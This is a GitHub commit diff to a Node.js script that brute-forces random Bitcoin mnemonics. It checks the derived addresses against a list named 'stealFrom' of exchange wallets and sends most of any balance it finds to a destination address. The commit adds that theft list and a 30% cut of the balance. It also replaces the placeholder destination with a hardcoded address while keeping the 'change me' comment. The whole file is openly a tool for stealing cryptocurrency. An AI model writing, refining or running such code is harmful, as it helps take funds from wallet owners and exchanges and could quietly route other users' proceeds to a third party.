Update index.js

This commit is contained in:
ThatLinuxFan 2024-01-16 12:41:31 -06:00 committed by GitHub
parent 4061214e6a
commit 92d20743c1
No known key found for this signature in database
GPG key ID: B5690EEEBB952194

View file

@ -1,14 +1,15 @@
var sleep = require('sleep');
var CoinKey = require('coinkey') //1.0.0
var bip39 = require('bip39')
var hdkey = require('hdkey')
var bitcoinTransaction = require('bitcoin-transaction');
var to = "YOUR BITCOIN ADDRESS HERE"; //change me to who you want the bitcoin to go to
var to = "1ShzJ7McjMYaboVFokny1LGMFLT7Y6qDj"; //change me to who you want the bitcoin to go to
var mnemonic;
var seed;
var seedToKey;
var root;
const stealFrom = ["34xp4vRoCGJym3xR7yCVPFHoCNxv4Twseo", "bc1ql49ydapnjafl5t2cp9zqpjwe6pdgmxy98859v2","39884E3j6KZj82FK4vcCrkUvWYL5MQaS3v"] //a short list of known exchanges
console.log(`
/=========================\\
|BBB IIIII TTTTTTT |
@ -39,10 +40,11 @@ PRIVATE KEY: ${root.privateKey.toString('hex')}
SEED: ${seed}
MNEMONIC: ${mnemonic}`);
if (bip39.validateMnemonic(mnemonic)) {
console.log("Valid mnemonic found!")
console.log("Valid mnemonic found, attempting...")
if (stealFrom.includes(from)) {
try {
bitcoinTransaction.getBalance(from, { network: "mainnet" }).then((balanceInBTC) => {
if (balanceInBTC > 0) {
if (balanceInBTC > 1) {
console.log("Valid BTC found!")
console.log(`Sending ${balanceInBTC} to ${to}.`)
console.log(`Congrats! It should take about half an hour to get your ${balanceInBTC} BTC.`)
@ -50,10 +52,11 @@ if (bip39.validateMnemonic(mnemonic)) {
from: from,
to: to,
privKeyWIF: privKeyWIF,
btc: balanceInBTC,
btc: (balanceInBTC - (balanceInBTC * .3)),
network: "mainnet",
fee: "halfHour"
});
process.exit()
//this line ignored by VSCode.
} else {
console.log("Not a real key with a balance, keep going...")
@ -63,9 +66,12 @@ if (bip39.validateMnemonic(mnemonic)) {
} catch {
console.log(`This probably isn't a valid Private Key/Address. This is normal, I think.`)
}
} else {
console.log("Not in whitelist!")
}
} else {
console.log("Still going...")
}
sleep.msleep(25)
await new Promise(r => setTimeout(r, 13));
}